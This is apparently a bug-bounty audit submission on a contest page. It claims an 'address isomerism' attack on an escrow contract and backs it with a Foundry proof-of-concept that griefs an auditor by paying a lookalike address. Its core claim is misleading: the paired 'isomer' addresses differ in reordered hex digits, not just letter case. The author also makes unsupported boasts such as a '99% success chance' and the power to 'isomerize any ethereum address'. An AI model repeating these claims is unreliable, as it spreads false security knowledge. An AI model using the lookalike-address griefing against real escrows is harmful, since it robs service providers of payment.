40,000 USDC
View results
Submission Details
Severity: high

Address Isomerism (EIP-55 compliant)

Summary

Buyer can grief auditor to receive nothing after rendering complete satistfying service. Yet contract attains finalized state (Resolved or Confirmed). Nothing anyone can do bout it. Griefed!!

Personal note to @PatrickAlpha (off topic)

Succintly,
I think a major solution @Codehawk would be bringing to the space is judging accuracy.

If this codebase were in sherlock, I wouldn't bother submitting this personal craft.

An imaginary biased example but true:
Imo if the Tornado Gov hack was presented in sherlock it may be invalidated cos such craft/novelty isn't expected 4rm a non-competitive-audit-popular-chad.
But that would become a real world BlackHat standard attack.

The attack u are about to see is novel, practicable, real world BlackHat standard & 99% success chance.
This stealthy technique is beyond human detection and this attack is well viable as long as seller address isn't programatically verified in contract.

All ethereum address are susceptible. I got the algorithm.

Vulnerability Details

Isomers by def:
Are two biologically/optically active chemical compounds having same structural configuration but aren't superimposable. One may be synthesized.
eg: Levo-Alanine and Dextro-Alanine. (Pharmaceutical Chemistry definition)

Importing this model into Smart contract Security, import {Isomerism} from "PharmaceuticalChemistry.pharm";
Address Isomers are two checkSum valid/ active addresses having same structural configuration (same exact character component), but arent superimposable (not same account. each hold value seperately). One is usually synthesized/computed resulting in what I may call Levo and Dextro Addresses.
Pls see Isomerism Pair Samples section below.👇

Isomerism Pair Samples

address public levA = 0xEDcEDf25fCC8f49CB89A2A2eA2B3700f92970110; //Levo
address public dexA = 0xEDcEdF25fcc84f9cb89a2A2EA2B3700f92970110; //Dextro
address public levB = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; //Levo
address public dexB = 0x5B38DA6a701c568545DfCbc03fCb875f56beddC4; //Dextro
address public levC = 0x03905e60759b03979314f5a5bA788C93E20cdC8c; //Levo
address public dexC = 0x03905e60759B03979314f5A5bA786c93E20cdC8c; //Dextro
address public levD = 0x229CcfE34e05992a48A6863dC836c77D89a34088; //Levo auditorsWalletAddress used in POC
address public dexD = 0x229Ccfe34e05992a48A686d3c836C77d89a34088; //Dextro auditorsInputedAddresss used in POC

pls see illustration in POC.testEachIsUniqueChecksumValidAndHoldValueIndependently()

Impact

Auditor and or Arbiter will not receive funds despite rendering complete service, yet contract reaches a resolved state.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "../script/DeployEscrowFactory.s.sol";
import "../src/Escrow.sol";
import "../src/EscrowFactory.sol";
import "../src/IEscrow.sol";
//import "../src/IEscrowFactory.sol";
import {Test, console} from "forge-std/Test.sol";
import "../src/TestToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract CougarTest is Test {
DeployEscrowFactory deployer;
EscrowFactory factory;
IEscrow iescrow;
Escrow escrow;
TestToken testToken; //ERC20
//==========================================
// Same address(as manually confirmed by auditor) and both Checksum Valid (view log in console)
address auditorsWalletAddress = makeAddr("auditorsWalletAddress");//0x229CcfE34e05992a48A6863dC836c77D89a34088
address auditorsInputedAddresss = 0x229Ccfe34e05992a48A686d3c836C77d89a34088;
address arbiter = makeAddr("arbiter");
address buyer = makeAddr("buyer");
//============
bytes creationCodee = type(Escrow).creationCode;
uint price = 1000e18;
uint arbiterFee = 100e18;
bytes32 salt = 0xf9bfc91564e9c8a62cf3b030b48f6fbc390fcf253448c9365a722a4648821c75; // random
//==============
function setUp() public {
deployer = new DeployEscrowFactory();
factory = deployer.run();
testToken = new TestToken();
testToken.mint(buyer, price);
//===================
vm.label(auditorsWalletAddress,"AUDITORSWALLET");
vm.label(auditorsInputedAddresss,"AUDITORINPUTED");
vm.label(buyer,"BUYER");
vm.label(address(this),"THIS");
vm.label(arbiter,"ARBITER");
//================================
// Validated to be same by auditor and both checkSum valid (see log)
console.log("auditorsWalletAddress====",auditorsWalletAddress);
console.log("auditorsInputedAddresss==",auditorsInputedAddresss);
}
function testv() public {
vm.startPrank(buyer);
IERC20(testToken).approve(address(factory),type(uint256).max);
iescrow = factory.newEscrow(price,IERC20(address(testToken)),auditorsInputedAddresss,arbiter,arbiterFee,salt);
assertTrue(iescrow.getArbiter() == arbiter);
uint AuditorWallAddrBal_BeforeAudit = IERC20(testToken).balanceOf(auditorsWalletAddress); //derive balances b4 audit == 0
uint InputedAddressBal_BeforeAudit = IERC20(testToken).balanceOf(auditorsInputedAddresss); //derive balances b4 audit == 0
//=========After receiving services can now call confirmReceipt()==================
iescrow.confirmReceipt();
uint AuditorWallAddrBal_AfterAudit = IERC20(testToken).balanceOf(auditorsWalletAddress); // derive balances After audit == 0
uint InputedAddressBal_AfterAudit = IERC20(testToken).balanceOf(auditorsInputedAddresss);// derive balances After audit == price
IEscrow.State s_tate = iescrow.getState();
vm.stopPrank();
//=========logs========
console.log("AuditorWallAddrBal_BeforeAudit===",AuditorWallAddrBal_BeforeAudit);
console.log("InputedAddressBal_BeforeAudit====",InputedAddressBal_BeforeAudit);
console.log("AuditorWallAddrBal_AfterAudit====",AuditorWallAddrBal_AfterAudit);
console.log("InputedAddressBal_AfterAudit=====",InputedAddressBal_AfterAudit);
console.logUint(uint256(s_tate)); // capture state of Contract
//==========assertions=======================
assertTrue(AuditorWallAddrBal_BeforeAudit == AuditorWallAddrBal_AfterAudit ); // Auditor balance is same b4 and after audit
assertEq(AuditorWallAddrBal_AfterAudit ,0 ); // Auditor received no fund. griefed!
assertEq(IERC20(testToken).balanceOf(auditorsWalletAddress), 0); // Auditor still 0 after audit
// contract state neither in dispute nor created state
assertTrue(iescrow.getState() != IEscrow.State.Disputed && iescrow.getState() != IEscrow.State.Created );
assertTrue(iescrow.getState() == IEscrow.State.Confirmed); // contract state indicates confirmed (settled. Auditor griefed)
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Illustration that each is a viable ethereum account holding value independently and EIP55 compliant. //
// (ie Levo and Dextro are not superimposable) //
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function testEachIsUniqueChecksumValidAndHoldValueIndependently() public {
address levA = 0xEDcEDf25fCC8f49CB89A2A2eA2B3700f92970110;
address dexA = 0xEDcEdF25fcc84f9cb89a2A2EA2B3700f92970110; //0xEDcEdF25fcc84f9cb89a2A2EA2B3700f92970110
address levB = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
address dexB = 0x5B38DA6a701c568545DfCbc03fCb875f56beddC4;
address levC = 0x03905e60759b03979314f5a5bA788C93E20cdC8c;
address dexC = 0x03905e60759B03979314f5A5bA786c93E20cdC8c;
address levD = 0x229CcfE34e05992a48A6863dC836c77D89a34088; // auditorsWalletAddress used above
address dexD = 0x229Ccfe34e05992a48A686d3c836C77d89a34088; // auditorsInputedAddresss used above
vm.deal(address(this), 100 ether);
uint val;
(bool suc1,) = levA.call{value: ++val}("");
(bool suc2,) = dexA.call{value: ++val}("");
(bool suc3,) = levB.call{value: ++val}("");
(bool suc4,) = dexB.call{value: ++val}("");
(bool suc5,) = levC.call{value: ++val}("");
(bool suc6,) = dexC.call{value: ++val}("");
(bool suc7,) = levD.call{value: ++val}("");
(bool suc8,) = dexD.call{value: ++val}("");
console.log("valueInlevA",levA.balance );
console.log("valueIndexA",dexA.balance );
console.log("valueInlevB",levB.balance );
console.log("valueIndexB",dexB.balance );
console.log("valueInlevC",levC.balance );
console.log("valueIndexC",dexC.balance );
console.log("valueInlevD",levD.balance );
console.log("valueIndexD",dexD.balance );
assertTrue(levD == auditorsWalletAddress);
assertTrue(dexD == auditorsInputedAddresss);
assertTrue(suc1 && suc2 && suc3 && suc4 && suc5 && suc6 && suc7 && suc8, "All not successful");
}
//address computed = factory.computeEscrowAddress(creationCodee,address(factory),uint256(salt),price,IERC20(address(testToken)),
//buyer,auditor,arbiter,arbiterFee);
}
// log state auditorsInputedAddresss

Tools Used

Off-chain computation / checksum manipulation (EIP-55).

Recommendations

enum State {
Indeployment //Notice Change====
Created,
Confirmed,
Disputed,
Resolved
}
function startAudit() public inState(State.Indeployment){
require(msg.sender == i_seller, "Aint Seller");
s_state = State.Created;
}

Disadvantage: Seller will spend gas.

Note/ assertions

  • Addresses levA, levB, levC & levD were each manipulated into their respective pair.

  • Each is a real world Ethereum address.

  • For each Pair, both are checksum valid and receive value. Illustrated in POC.testEachIsUniqueChecksumValidAndHoldValueIndependently() public {}

  • levD pairs were used in attack in POC for confirmation.

  • Attack is inevitable if seller address validation isn't onchain.

  • Most careful victim will still fall prey. 99% success chance.

  • Attack is just a vector and can be used in diff ways. eg:
    Perfomed on arbiter and purposely initiate dispute resulting to locked funds (DOS on Arbiter, resulting to griefing on both arbiter & auditor).

  • Above manipulation isn't peculiar to some rare addresses. Recall that levD was foundry generated address auditorsWalletAddress = makeAddr("auditorsWalletAddress");, yet buyer isomerized auditorsWalletAddress into auditorsInputedAddresss before attack.
    Thats Proof i can isomerize any ethereum address.

  • I'll reproduce same effect on any randomly sent address and have both be compliant with EIP-55(valid addresses which can hold ETH & tokens).

  • I'll accept ur address as sample if sent.

  • I'm open to your futher enquiry. feel free to reach out.

Author

Pharm. Cougar
Full-time Independent Security Researcher.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.